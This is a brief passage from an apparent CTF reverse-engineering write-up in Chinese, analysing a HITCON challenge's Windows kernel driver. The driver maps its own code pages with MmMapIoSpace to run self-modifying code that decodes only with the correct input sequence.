大概就是这些值都要过一遍,并且最后要和两个值相等(hitcon) 上面有个函数sub_1400014D0(0),里面进行了一些xor变换 然后看驱动入口,除了注册上面的major function外,还有如下

PhysicalAddress = MmGetPhysicalAddress((char *)sub_140001490 + 0x1B70);// 0x140003000
  qword_140013170 = (char *)MmMapIoSpace(PhysicalAddress, 0x1000ui64, MmNonCached);
  qword_140013178 = (__int64)(qword_140013170 + 0x30);// 0x140003030
  v5 = MmGetPhysicalAddress((char *)sub_140001490 - 96);// 140001430
  qword_140013188 = (char *)MmMapIoSpace(v5, 0x1000ui64, MmNonCached);
  qword_140013180 = qword_140013188 + 0x700;    // 0x140001b30

可以发现,这里地址其中之一就是某个操作函数的地址,实际上就是自修改代码,必须输入正确的序列才能得到正确的代码

dump出code后保存成单个二进制文件,使用IDA单独分析特征。一般这么多函数的肯定有公共特征
